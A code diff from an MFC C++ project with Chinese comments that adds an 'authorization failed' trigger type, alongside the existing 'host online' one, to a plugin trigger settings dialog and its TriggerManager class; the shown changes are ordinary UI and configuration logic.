void CTriggerSettingsDlg::LoadTriggersToList() void CTriggerSettingsDlg::LoadTriggersToList()
{ {
m_listTriggers.DeleteAllItems(); m_listTriggers.DeleteAllItems();
const char* typeNames[] = { "主机上线" }; const char* typeNames[] = { "主机上线", "授权失败" };
int index = 0; int index = 0;
for (const auto& cfg : m_Configs) { for (const auto& cfg : m_Configs) {
@@ -264,6 +254,21 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem); TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
// 回显该触发器配置的插件,并同步下拉框选择
ReflectPluginsForType(type);
m_comboTriggerType.SetCurSel(type);
}
void CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType()
{
int sel = m_comboTriggerType.GetCurSel();
if (sel >= 0) {
ReflectPluginsForType((TriggerType)sel);
}
}
void CTriggerSettingsDlg::ReflectPluginsForType(TriggerType type)
{
// 查找对应的触发器配置 // 查找对应的触发器配置
TriggerConfig* cfg = nullptr; TriggerConfig* cfg = nullptr;
for (auto& c : m_Configs) { for (auto& c : m_Configs) {
@@ -291,9 +296,6 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
} }
} }
} }
// 同步下拉框选择
m_comboTriggerType.SetCurSel(type);
} }
void CTriggerSettingsDlg::OnBnClickedBtnSave() void CTriggerSettingsDlg::OnBnClickedBtnSave()
@@ -427,16 +429,6 @@ void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector<TriggerConfig>& c
TriggerManager::Instance().Reload(); TriggerManager::Instance().Reload();
} }
TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector<TriggerConfig>& configs)
{
for (auto& cfg : configs) {
if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) {
return &cfg;
}
}
return nullptr;
}
// ============================================ // ============================================
// TriggerManager 实现 // TriggerManager 实现
// ============================================ // ============================================
@@ -455,6 +447,7 @@ void TriggerManager::LoadFromDisk()
{ {
// 不加锁,由调用者保证线程安全 // 不加锁,由调用者保证线程安全
m_OnlinePlugins.clear(); m_OnlinePlugins.clear();
m_AuthFailedPlugins.clear();
auto configs = CTriggerSettingsDlg::LoadTriggerConfigs(); auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
for (const auto& cfg : configs) { for (const auto& cfg : configs) {
@@ -462,6 +455,10 @@ void TriggerManager::LoadFromDisk()
for (const auto& name : cfg.PluginNames) { for (const auto& name : cfg.PluginNames) {
m_OnlinePlugins.insert(name); m_OnlinePlugins.insert(name);
} }
} else if (cfg.Type == TRIGGER_AUTH_FAILED) {
for (const auto& name : cfg.PluginNames) {
m_AuthFailedPlugins.insert(name);
}
} }
} }
m_bLoaded = true; m_bLoaded = true;
@@ -495,3 +492,25 @@ std::set<std::string> TriggerManager::GetOnlinePlugins()
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
return result; return result;
} }
bool TriggerManager::HasAuthFailedTrigger()
{
EnterCriticalSection(&m_cs);
if (!m_bLoaded) {
LoadFromDisk();
}
bool has = !m_AuthFailedPlugins.empty();
LeaveCriticalSection(&m_cs);
return has;
}
std::set<std::string> TriggerManager::GetAuthFailedPlugins()
{
EnterCriticalSection(&m_cs);
if (!m_bLoaded) {
LoadFromDisk();
}
std::set<std::string> result = m_AuthFailedPlugins; // 复制一份返回
LeaveCriticalSection(&m_cs);
return result;
}
+12 -3
View File
@@ -12,6 +12,7 @@ struct DllInfo;
// 触发器类型 // 触发器类型
enum TriggerType { enum TriggerType {
TRIGGER_HOST_ONLINE = 0, // 主机上线 TRIGGER_HOST_ONLINE = 0, // 主机上线
TRIGGER_AUTH_FAILED = 1, // 授权失败
// 后续可扩展更多类型 // 后续可扩展更多类型
}; };
@@ -34,12 +35,18 @@ public:
// 获取主机上线触发器的插件名称集合(高性能查询) // 获取主机上线触发器的插件名称集合(高性能查询)
std::set<std::string> GetOnlinePlugins(); std::set<std::string> GetOnlinePlugins();
// 获取授权失败触发器的插件名称集合(高性能查询)
std::set<std::string> GetAuthFailedPlugins();
// 重新加载配置(保存后调用) // 重新加载配置(保存后调用)
void Reload(); void Reload();
// 检查是否有上线触发器 // 检查是否有上线触发器
bool HasOnlineTrigger(); bool HasOnlineTrigger();
// 检查是否有授权失败触发器
bool HasAuthFailedTrigger();
private: private:
TriggerManager(); TriggerManager();
~TriggerManager(); ~TriggerManager();
@@ -49,7 +56,8 @@ private:
void LoadFromDisk(); void LoadFromDisk();
CRITICAL_SECTION m_cs; CRITICAL_SECTION m_cs;
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称 std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
std::set<std::string> m_AuthFailedPlugins; // 缓存的授权失败触发器插件名称
bool m_bLoaded; bool m_bLoaded;
}; };
@@ -68,8 +76,6 @@ public:
static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs); static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
// 静态方法:获取配置文件路径 // 静态方法:获取配置文件路径
static std::string GetTriggerConfigPath(); static std::string GetTriggerConfigPath();
// 静态方法:获取主机上线触发器(如果存在)
static TriggerConfig* GetOnlineTrigger(std::vector<TriggerConfig>& configs);
protected: protected:
virtual void DoDataExchange(CDataExchange* pDX); virtual void DoDataExchange(CDataExchange* pDX);
@@ -81,12 +87,15 @@ protected:
afx_msg void OnBnClickedBtnTriggerAdd(); afx_msg void OnBnClickedBtnTriggerAdd();
afx_msg void OnBnClickedBtnTriggerRemove(); afx_msg void OnBnClickedBtnTriggerRemove();
afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult); afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnCbnSelchangeComboTriggerType();
private: private:
void InitControls(); void InitControls();
void LoadPluginsToList(); void LoadPluginsToList();
void LoadTriggersToList(); void LoadTriggersToList();
void UpdateTriggerDisplay(); void UpdateTriggerDisplay();
// 回显指定触发类型已勾选的插件(取消其他勾选)
void ReflectPluginsForType(TriggerType type);
private: private:
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表 std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
Loaded 100 of 131 files, more files were not shown because too many files have changed in this diff. Show more